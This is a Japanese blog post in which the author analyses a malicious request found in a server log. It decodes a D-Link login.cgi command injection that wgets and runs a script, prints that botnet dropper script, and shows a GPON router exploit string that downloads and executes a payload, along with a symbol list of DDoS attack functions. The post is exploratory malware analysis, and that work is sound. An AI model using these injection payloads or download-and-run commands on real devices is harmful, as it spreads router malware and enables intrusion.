Nikoに届いていた謎のリクエストを分析する
Nikoに届いていた謎のリクエストを分析する
Nikoを社内で運用していたところ、以下のような謎のリクエストがログに残っていました(被害者かもしれないので、いちおう出てくるIPは隠しています):
xx.xx.xx.xx - [24/Jul/2018:04:52:44 +00:00] "GET /login.cgi?cli=aa%20aa%27;wget%20http://yy.yy.yy.yy/dlink%20-O%20-%3E%20/tmp/xd;sh%20/tmp/xd%27$ HTTP/1.1" 404 683 "-" "-"
パッと見なんだか脆弱性を突こうとしているのですが、いったい何をしようとしているのでしょう。このリクエストの意図を想像することで、いろいろと得られることが多いと思うし、なによりなんだか楽しそう。
なので、ちょっと調べてみることにしました。
あやしいURL
まずはリクエストのURLを見てみましょう。
/login.cgi?cli=aa%20aa%27;wget%20http://yy.yy.yy.yy/dlink%20-O%20-%3E%20/tmp/xd;sh%20/tmp/xd%27$
いくつかの文字はURLエンコードされていますが、wget
の後になぞのURLとか、/tmp/xd
とか、sh
みたいな文字列があって、なんとなーくなにをさせたいか想像がつきそう。それにしてもlogin.cgi
にcli=...
でコマンドを与えられるシステムとは一体……。とりあえずASCIIコード表と照らし合わせると'
とか半角空白とかがでてきますが、こいつを一気にデコードしてしまうと、こんなふうになります:
$ echo '/login.cgi?cli=aa%20aa%27;wget%20http://yy.yy.yy.yy/dlink%20-O%20-%3E%20/tmp/xd;sh%20/tmp/xd%27$' | sed -E -e 's/^.+cli=(.+)/\1/g' | tr % = | nkf -mQ aa[ESC]aa';wget http://yy.yy.yy.yy/dlink -O -> /tmp/xd;sh /tmp/xd'$
でました! aa[ESC]aa
の後にシングルクオートに挟まれた;wget http://yy.yy.yy.yy/dlink -O -> /tmp/xd;sh /tmp/xd
があり、最後に$
で終わっています。このaa[ESC]aa
と$
はちょっとよくわからないですが、wget
してなにかを取得して/tmp/xd
に保存し、それを実行しているのがわかります。
あやしいスクリプト
では、このdlink
とはなんなのか。実際に取得してみましょう。
$ curl -v http://yy.yy.yy.yy/dlink * Trying yy.yy.yy.yy... * TCP_NODELAY set * Connected to yy.yy.yy.yy (yy.yy.yy.yy) port 80 (#0) > GET /dlink HTTP/1.1 > Host: yy.yy.yy.yy > User-Agent: curl/7.58.0 > Accept: */* > < HTTP/1.1 200 OK < Date: Mon, 23 Jul 2018 23:10:36 GMT < Server: Apache/2.4.10 (Debian) < Last-Modified: Mon, 23 Jul 2018 23:10:36 GMT < ETag: W/"10e-571b41599b480" < Accept-Ranges: bytes < Content-Length: 270 < #!/bin/sh n="mips.gemini mpsl.gemini arm7.gemini" http_server="yy.yy.yy.yy" for a in $n do cd /tmp busybox wget http://$http_server/sister/$a -O -> /tmp/$a busybox chmod 777 /tmp/$a /tmp/$a selfrep.dlink done for a in $n do rm -rf /tmp/$a * Connection #0 to host yy.yy.yy.yy left intact done
中身はシェルスクリプトでした。なんか、MIPSとかARM7とか見えますね。バイナリでしょうか。取得したバイナリファイルにselfrep.dlink
と引数を与えると、自己複製して撒き散らしそうな感じです。
ちなみに上のサーバから、いまはdlink
というファイルは消えています。感づかれたのかな。でもなぜか/
にアクセスしたらApacheのディレクトリ内ブラウズができる状態だったので、/sister/
以下のファイルはすべて取得してみました。x86.gemini
とかあって、こわい。
sister$ ls -l 合計 800 -rw-r--r-- 1 grey grey 47356 7月 24 12:13 arm.b.gemini -rw-r--r-- 1 grey grey 55764 7月 24 12:13 arm.gemini -rw-r--r-- 1 grey grey 47388 7月 24 12:13 arm5.b.gemini -rw-r--r-- 1 grey grey 46896 7月 24 12:13 arm5.gemini -rw-r--r-- 1 grey grey 118319 7月 24 12:13 arm7.b.gemini -rw-r--r-- 1 grey grey 129065 7月 24 12:13 arm7.gemini -rw-r--r-- 1 grey grey 43188 7月 24 12:13 bin.gemini -rw-r--r-- 1 grey grey 59364 7月 24 12:13 mips.b.gemini -rw-r--r-- 1 grey grey 71824 7月 24 12:13 mips.gemini -rw-r--r-- 1 grey grey 60804 7月 24 12:13 mpsl.b.gemini -rw-r--r-- 1 grey grey 72864 7月 24 12:13 mpsl.gemini -rw-r--r-- 1 grey grey 47792 7月 24 12:13 x86.gemini
あやしいELF
ここからは、『Binary Hacks』を片手に、お勉強しながらやっていきます。
まず、とりあえずreadelf
でバイナリフィアルのヘッダを見てみました。
$ echo * | xargs readelf -h | egrep '(ファイル:|セクションヘッダサイズ)' ファイル: arm.b.gemini セクションヘッダサイズ: 10 ファイル: arm.gemini セクションヘッダサイズ: 10 ファイル: arm5.b.gemini セクションヘッダサイズ: 10 ファイル: arm5.gemini セクションヘッダサイズ: 18 ファイル: arm7.b.gemini セクションヘッダサイズ: 29 ファイル: arm7.gemini セクションヘッダサイズ: 29 ファイル: bin.gemini セクションヘッダサイズ: 13 ファイル: mips.b.gemini セクションヘッダサイズ: 13 ファイル: mips.gemini セクションヘッダサイズ: 13 ファイル: mpsl.b.gemini セクションヘッダサイズ: 13 ファイル: mpsl.gemini セクションヘッダサイズ: 13 ファイル: x86.gemini セクションヘッダサイズ: 10
なんとなくarm
に力点が置かれており、とくにarm7
かそうでないかでコードの複雑さが違うっぽいような気がします。
あやしいarm7.gemini
arm7
を感染させることが大事っぽいので、ここではarm7.gemini
を解析対象とします。
とりあえずまずは、strings
で文字列を見てみましょうか。
$ strings arm7.gemini | head JR** gfff@ @ #! !1C " POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Gemini/2.0 Accept: */* Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://yy.yy.yy.yy/gpon+-O+/tmp/difv;sh+/tmp/difv`&ipv=0
おおー。なんだかHTTPのリクエストっぽい文字列がでてきました。GPONというのはルータの機種だか規格だかなのだ、と同僚が言っていた気がします。そのへんまったくわからないので「おおー」と声を上げるほかありませんでした。ルータに感染して、なにかさせるのを目的にするプログラムなのでしょうかね。
つぎに、シンボルテーブルをファイルに書き出して、ディスアセンブルした結果も書き出して、眺めてみることにします:
$ arm-none-eabi-nm arm7.gemini > arm7.gemini.sym $ arm-none-eabi-objdump arm7.gemini -d > arm7.gemini.das
arm7.gemini.das
を覗くと、以下のようなかんじです(長いので、下に載せます)。
なんだか<attack_*>
とかラベルが見え、それっぽいですね。ちなみに、これは昼間に同僚が教えてくれたのですが、gre
というのはVPSみたいなことをするときに経路を意識させないようにするためのプロトコルらしいです。
下のほうにいくと<main>
があって(エントリポイントですかね!)、さらにいくと<memcpy>
とか<malloc>
とか見えてきます。きっと、環境のshared objectに依存しないように、静的リンクされているのでしょうか。fopen
やprctl
があることから、ファイルシステムやプロセスに対する操作も行っていそうです。<anti_gdb_entry>
とかあるので、GDBでのデバッグを困難にするような仕掛けも施されている、のか?
$ cat arm7.gemini.das | egrep '<.+>:' 000080d4 <_init>: 000080f0 <__do_global_dtors_aux>: 00008134 <frame_dummy>: 00008194 <_start>: 000081d0 <attack_get_opt_str>: 0000822c <attack_get_opt_ip>: 00008298 <attack_get_opt_int>: 00008308 <attack_parse>: 000085a0 <attack_init>: 000089cc <attack_gre_eth>: 00009094 <attack_gre_ip>: 000096f4 <attack_tcp_xmas>: 00009dcc <attack_tcp_frag>: 0000a4a4 <attack_tcp_syn>: 0000ab7c <attack_tcp_stomp>: 0000b3a8 <attack_tcp_ack>: 0000bacc <attack_icmp_basic>: 0000bd8c <attack_udp_plain>: 0000c04c <attack_udp_frag>: 0000c618 <attack_udp_generic>: 0000cbe4 <attack_udp_vse>: 0000d050 <attack_udp_dns>: 0000d734 <checksum_generic>: 0000d784 <checksum_tcpudp>: 0000d828 <dlinkscanner_scanner_kill>: 0000d850 <gponscanner_scanner_kill>: 0000d878 <gponscanner_setup_connection>: 0000d94c <gponscanner_scanner_init>: 0000e40c <huaweiscanner_scanner_kill>: 0000e434 <killer_kill>: 0000e45c <mkiller_kill>: 0000e484 <killer_kill_by_port>: 0000ea00 <mini_killer>: 0000ea7c <killer_init>: 0000f638 <anti_gdb_entry>: 0000f650 <ensure_single_instance>: 0000f7b4 <resolve_cnc_addr>: 0000f820 <ioctl_keepalive>: 0000f970 <rand_exploit>: 0000f998 <main>: 00010120 <rand_next>: 0001017c <rand_init>: 000101e4 <rand_alpha_str>: 000102b4 <resolv_entries_free>: 000102dc <resolv_lookup>: 000107e4 <table_retrieve_val>: 00010808 <table_lock_val>: 000108a8 <table_unlock_val>: 00010948 <table_init>: 00011000 <util_strlen>: 00011028 <util_strcpy>: 00011070 <util_memcpy>: 00011094 <util_zero>: 000110b8 <util_atoi>: 000111f4 <util_fdgets>: 00011250 <util_local_addr>: 000112e4 <util_stristr>: 00011374 <util_itoa>: 00011470 <__aeabi_uidiv>: 0001156c <__aeabi_uidivmod>: 00011584 <__div0>: 00011598 <__GI___fcntl_nocancel>: 00011630 <__GI___libc_fcntl>: 00011724 <getppid>: 00011738 <__GI_ioctl>: 00011818 <__GI_kill>: 00011850 <prctl>: 00011894 <__GI_readlink>: 000118d4 <__syscall_select>: 00011918 <__libc_select>: 0001199c <__GI_setsid>: 000119dc <__GI_sigprocmask>: 00011a68 <__GI_time>: 00011a98 <__GI_closedir>: 00011ba8 <fd_to_DIR>: 00011c78 <__GI_opendir>: 00011d3c <fdopendir>: 00011dec <__GI_readdir>: 00011ed4 <__GI___errno_location>: 00011ef4 <clock>: 00011f30 <__GI_memmove>: 00011f40 <__GI_memset>: 00011fe0 <__GI_strcpy>: 00012004 <__GI_inet_addr>: 0001202c <__sys_accept>: 00012070 <__libc_accept>: 000120e4 <__GI_bind>: 00012128 <__sys_connect>: 0001216c <__libc_connect>: 000121e0 <__GI_getsockname>: 00012224 <getsockopt>: 0001226c <__GI_listen>: 000122ac <__sys_recv>: 000122f0 <__libc_recv>: 00012360 <__sys_recvfrom>: 000123a8 <__libc_recvfrom>: 00012430 <__sys_send>: 00012474 <__libc_send>: 000124e4 <__sys_sendto>: 00012530 <__libc_sendto>: 000125b8 <__GI_setsockopt>: 00012600 <__GI_socket>: 00012644 <__GI_sigaddset>: 00012694 <__GI_sigemptyset>: 000126a8 <__GI_signal>: 0001276c <__GI___sigismember>: 00012790 <__GI___sigaddset>: 000127b4 <__GI___sigdelset>: 000127d8 <__malloc_largebin_index>: 00012850 <malloc>: 00013188 <calloc>: 000132c8 <realloc>: 00013688 <__malloc_trim>: 00013738 <__malloc_consolidate>: 000138ec <free>: 00013b28 <malloc_trim>: 00013b68 <__GI_abort>: 00013c90 <rand>: 00013ca8 <__GI_random>: 00013d4c <setstate>: 00013e04 <initstate>: 00013ec4 <srd>: 00013f68 <__GI_random_r>: 00013ff8 <__GI_srandom_r>: 000140d0 <__GI_initstate_r>: 000141c8 <__GI_setstate_r>: 000142b4 <__GI_exit>: 00014378 <nprocessors_onln>: 000144c4 <__GI_sysconf>: 00014ae8 <__libc_fork>: 00014eb4 <__lll_lock_wait_private>: 00014f4c <__getpid>: 00014f94 <__GI_raise>: 00015084 <__GI_sleep>: 000151b4 <__GI___close_nocancel>: 000151d0 <__GI___libc_close>: 00015244 <__GI___open_nocancel>: 00015260 <__GI___libc_open>: 000152d4 <__GI___read_nocancel>: 000152f0 <__GI___libc_read>: 00015360 <__libc_disable_asynccancel>: 000153e8 <__libc_enable_asynccancel>: 000154c4 <__pthread_mutex_lock>: 000154cc <__pthread_mutex_init>: 000154d4 <_pthread_cleanup_push_defer>: 000154dc <_pthread_cleanup_pop_restore>: 00015508 <__GI___uClibc_fini>: 00015584 <__check_one_fd>: 000155d8 <__GI___uClibc_init>: 00015630 <__uClibc_main>: 00015a1c <__GI_mmap>: 00015a98 <__syscall_error>: 00015ac4 <__libc_sigaction>: 00015b4c <_setjmp>: 00015b58 <__default_sa_restorer>: 00015b64 <__default_rt_sa_restorer>: 00015b70 <__aeabi_read_tp>: ...以下省略
どうもこのプログラムはルータを対象にし、なにかをする(させる)プログラムのようです。
うーん。アセンブラが読めないのと、定数データがわからないので、これ以上はわからない! くやしい! 『熱血! アセンブラ入門』を読んで勉強しないと……。
今日はここまでにします。